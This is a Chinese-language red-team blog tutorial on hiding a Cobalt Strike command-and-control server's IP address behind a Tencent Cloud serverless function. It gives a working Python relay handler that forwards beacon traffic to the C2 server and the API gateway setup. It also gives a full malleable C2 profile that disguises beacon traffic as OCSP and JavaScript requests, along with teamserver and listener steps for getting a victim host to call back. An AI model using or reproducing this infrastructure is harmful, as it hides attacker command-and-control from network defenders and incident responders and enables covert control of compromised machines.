CobaltStrike 云函数隐藏服务器IP

参考链接

https://mp.weixin.qq.com/s/VcP2O5usGHf7BBzCGQt_6Q

https://blog.zsec.uk/cobalt-strike-profiles/

前言

在红队基础设施建设中,使用云函数可隐藏真实C2的IP地址,当然,这只是其中一种方法,其他方法包括但不限于特征消除、证书修改、CDN、域前置。这些技术会陆续实现。

准备工作

腾讯云注册云函数

新建函数-自定义创建函数

image-20211015185512996

Python模板,python3.6即可,触发方式选择API网关触发

在函数代码中写入如下代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# -*- coding: utf8 -*-
import json,requests,base64
def main_handler(event, context):
C2='http://' # C2 IP地址,这里可以使用 HTTP、HTTPS~下角标~
path=event['path']
headers=event['headers']
print(event)
if event['httpMethod'] == 'GET' :
resp=requests.get(C2+path,headers=headers,verify=False)
else:
resp=requests.post(C2+path,data=event['body'],headers=headers,verify=False)
print(resp.headers)
print(resp.content)

response={
"isBase64Encoded": True,
"statusCode": resp.status_code,
"headers": dict(resp.headers),
"body": str(base64.b64encode(resp.content))[2:-1]
}
return response

接下来配置API网关

image-20211015185830062

版本选择LATEST,点进去蓝色的链接进行API配置,路径改为根目录

image-20211015185912831

image-20211015185921658

然后下一步,事件函数,版本选择LATEST,一定要勾选响应集成。之后点立即完成就可以了。

发布服务之后在右边可以看到API的HTTP与HTTPS地址,记住这个有用,当然了,在云函数那也可以看(函数服务-触发管理-访问路径)

image-20211015190133119

cobalt strike配置

CS的配置踩大坑。

首先是编写对应的profile,代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
set sample_name "t";
set sleeptime "3000";
set jitter "0";
set maxdns "255";
set useragent "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)";

http-get {

set uri "/api/x";

client {
header "Accept" "*/*";
metadata {
base64;
prepend "SESSIONID=";
header "Cookie";
}
}

server {
header "Content-Type" "application/ocsp-response";
header "content-transfer-encoding" "binary";
header "Server" "Nodejs";
output {
base64;
print;
}
}
}
http-stager {
set uri_x86 "/vue.min.js";
set uri_x64 "/bootstrap-2.min.js";
}
http-post {
set uri "/api/y";
client {
header "Accept" "*/*";
id {
base64;
prepend "JSESSION=";
header "Cookie";
}
output {
base64;
print;
}
}

server {
header "Content-Type" "application/ocsp-response";
header "content-transfer-encoding" "binary";
header "Connection" "keep-alive";
output {
base64;
print;
}
}
}

编写完之后命名为c2.profile,然后用cs目录下的c2lint.sh进行检查,这个东西的作用就是检查编写的profile是否正确。

c2lint.sh ./c2.profile

image-20211015190808713

这样看是没啥问题,然后运行teamserver的时候后面跟上profile就可以了,例如

./teamserver.sh 1.1.1.1 123456 c2.profile

这样就可以把profile作为listener的配置。

启动cs后,添加http listener,HOSTS和STAGER填写如下

image-20211015191005476

都是生成的云函数的地址,注意把前面的HTTP://去掉!!

保存后,生成EXE,上线。

然后在victim主机上查看流量,并没有发现C2的IP地址,140开头的地址不是我的地址。

image-20211015191107942

image-20211015191253179

这样就使用云函数实现了C2真实IP的隐藏,在CS中也可以正常使用命令,证明beacon工作无异常。

image-20211015191425103